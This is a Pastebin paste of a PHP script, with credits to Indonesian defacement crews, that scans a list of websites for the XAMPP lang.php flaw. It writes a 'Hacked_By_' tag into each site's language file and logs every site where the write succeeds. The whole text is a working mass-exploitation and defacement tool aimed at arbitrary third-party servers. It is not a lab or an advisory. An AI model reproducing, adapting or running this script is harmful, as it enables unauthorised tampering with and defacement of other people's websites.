Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- CODE BY shor7cut - Kiddies selalu merubah :v
- Thank's : IndoXploit Coders Team & Bug7sec
- <?php
- error_reporting(0);
- if(!isset($argv[2])){
- echo "[+] Format : php namefile.php {file list} {notice by} {save file}\r\n";
- echo "[+] Contoh : php namafile.php target.txt shor7cut sukses.txt";
- }
- if(!file_exists($argv[1])){
- die('File Tidak ditemukan');
- }
- if(file_exists($argv[2].".txt")){
- $del = $argv[2].".txt";
- unlink($del);
- }
- $buka_file = fopen($argv[1], "r");
- $baca_file = fgets($buka_file);
- $target = explode("|", $baca_file);
- $hacker = $argv[2];
- $no=1;
- $success=0;
- $fail=0;
- $names = $argv[2].".txt";
- echo "<------------{Scan}-------------->\r\n";
- echo "-> Notice By ".$argv[2]."\r\n";
- echo "-> Target Count : ".count($target)."\r\n";
- echo "-> Save File : ".$names."\r\n";
- echo "<-------------------------------->\r\n\n";
- foreach ($target as $sites) {
- echo "-> INFO : [$no/".count($target)."] -( Success : ".$success." | Fail : ".$fail." )-\r\n";
- echo "-> $sites | Status : ";
- $url1 = "$sites/xampp/lang.php?Hacked_By_$hacker";
- $url2 = "$sites/security/lang.php?Hacked_By_$hacker";
- $patch_result1 = "$sites/xampp/lang.tmp?";
- $patch_result2 = "$sites/security/lang.tmp?";
- // xampp - patch lang.php\\
- $xamppcurl = curl_init("$url1");
- curl_setopt($xamppcurl, CURLOPT_FAILONERROR, true);
- curl_setopt($xamppcurl, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($xamppcurl, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($xamppcurl, CURLOPT_CONNECTTIMEOUT ,0);
- curl_setopt($xamppcurl, CURLOPT_TIMEOUT, 30);
- $result1 = curl_exec($xamppcurl);
- $xamppcur2 = curl_init("$url2");
- curl_setopt($xamppcur2, CURLOPT_FAILONERROR, true);
- curl_setopt($xamppcur2, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($xamppcur2, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($xamppcur2, CURLOPT_CONNECTTIMEOUT ,0);
- curl_setopt($xamppcur2, CURLOPT_TIMEOUT, 30);
- $result2 = curl_exec($xamppcur2);
- if(eregi("Hacked_By_",$result1))
- {
- echo "vulnerable\r\n";
- echo "-> Patch : ".$patch_result1."\r\n\n";
- $fp = fopen($names, 'a');
- fwrite($fp, "http://$patch_result1\r\n");
- fclose($fp);
- $success++;
- }else if(eregi("Hacked_By_",$result2))
- {
- echo "vulnerable\r\n";
- echo "-> Patch : ".$patch_result2."\r\n\n";
- $fp = fopen($names, 'a');
- fwrite($fp, "http://$patch_result1\r\n");
- fclose($fp);
- $success++;
- }else {
- echo "Not vulnerable\r\n\n";
- $fail++;
- }
- flush();
- ob_flush();
- sleep(2);
- $no++;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement